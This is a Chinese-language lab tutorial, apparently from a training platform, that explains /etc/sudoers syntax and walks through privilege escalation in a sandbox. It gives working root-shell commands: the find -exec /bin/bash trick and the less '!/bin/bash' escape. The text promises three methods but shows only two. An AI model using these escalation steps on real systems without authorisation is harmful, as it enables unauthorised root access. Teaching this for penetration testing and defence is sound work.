介绍
在本实验中,你将学习 sudo
配置文件的语法,并通过三种常见的方法来利用 sudo
漏洞或配置错误进行权限提升。目标是更好地理解如何在渗透测试中利用 sudo
进行权限提升。
在本实验中,你将学习 sudo
配置文件的语法,并通过三种常见的方法来利用 sudo
漏洞或配置错误进行权限提升。目标是更好地理解如何在渗透测试中利用 sudo
进行权限提升。
在这一步中,你将学习 /etc/sudoers
文件的语法,该文件用于配置 sudo
权限。
/etc/sudoers
文件用于指定哪些用户或组可以以提升的权限运行命令。要查看并保存 /etc/sudoers
文件的内容,请运行以下命令:
sudo cat /etc/sudoers | grep root > /home/labex/project/sudoers.txt
输出应类似于以下内容:
## 此文件必须使用 'visudo' 命令以 root 身份编辑。
## 这会保留来自 root 用户环境的代理设置
## 虽然通常不应以 root 身份运行 git,但在使用 etckeeper 时需要这样做
## 每个用户的偏好;root 不会有合理的值。
root ALL=(ALL:ALL) ALL
## 管理员组的成员可以获得 root 权限
这一行指定了 root
用户可以在所有主机上以任何用户或组的身份运行任何命令。
sudoers
条目的通用语法如下:
user_or_group_name host_list=(run_as_user:run_as_group) command_list
user_or_group_name
:规则适用的用户或组。host_list
:规则适用的主机。ALL
表示所有主机。run_as_user
:用于运行命令的用户权限。ALL
表示任何用户。run_as_group
:用于运行命令的组权限。ALL
表示任何组。command_list
:允许用户或组运行的命令。在这一步中,你将通过利用 sudo
配置错误来练习权限提升,这些配置错误允许以提升的权限运行任何命令。
首先,打开终端并导航到 /home/labex/project
目录。
cd /home/labex/project
运行以下命令初始化环境:
./env_setup_1.sh
你现在以 user001
用户身份登录。
使用 sudo -l
命令检查你的 sudo
权限:
sudo -l
(root) NOPASSWD:/usr/bin/find
这意味着你可以在无需密码的情况下以 root
权限运行 find
命令。
要提升权限,请运行:
sudo find /home -exec /bin/bash \;
你现在应该获得了一个 root
shell。
在 /root
目录下创建一个名为 success_1.txt
的文件,以验证你是否拥有 root
权限:
echo "success_1" | sudo tee /root/success_1.txt
通过运行以下命令验证文件:
cat /root/success_1.txt
输出应为 success_1
。
在这一步中,你将通过利用 sudo
配置错误来练习权限提升,这些配置错误允许以提升的权限运行特定命令。
在上一步之后,你仍然以 root
用户身份登录。为了继续本步骤,你需要关闭当前终端并打开一个新终端。
首先,打开终端并导航到 /home/labex/project
目录。
cd /home/labex/project
运行以下命令初始化环境:
./env_setup_2.sh
使用 sudo -l
检查你的 sudo
权限:
sudo -l
预期输出:
(root) NOPASSWD: /bin/less /var/log/messages
这意味着你可以在无需密码的情况下以 root
权限运行命令 /bin/less /var/log/messages
。
要提升权限,请运行:
sudo less /var/log/messages
进入 less
分页器后,运行:
!/bin/bash
你现在应该获得了一个 root
shell。
在 /root
目录下创建一个名为 success_2.txt
的文件,以验证你是否拥有 root
权限:
echo "success_2" | sudo tee /root/success_2.txt
通过运行以下命令验证文件:
cat /root/success_2.txt
输出应为 success_2
。
在本实验中,你学习了 /etc/sudoers
文件的语法以及如何配置 sudo
权限。你还练习了通过 sudo
配置错误或漏洞进行权限提升的三种常见方法。通过理解如何利用 sudo
进行权限提升,你可以更好地评估和缓解 Linux 系统中的潜在安全风险。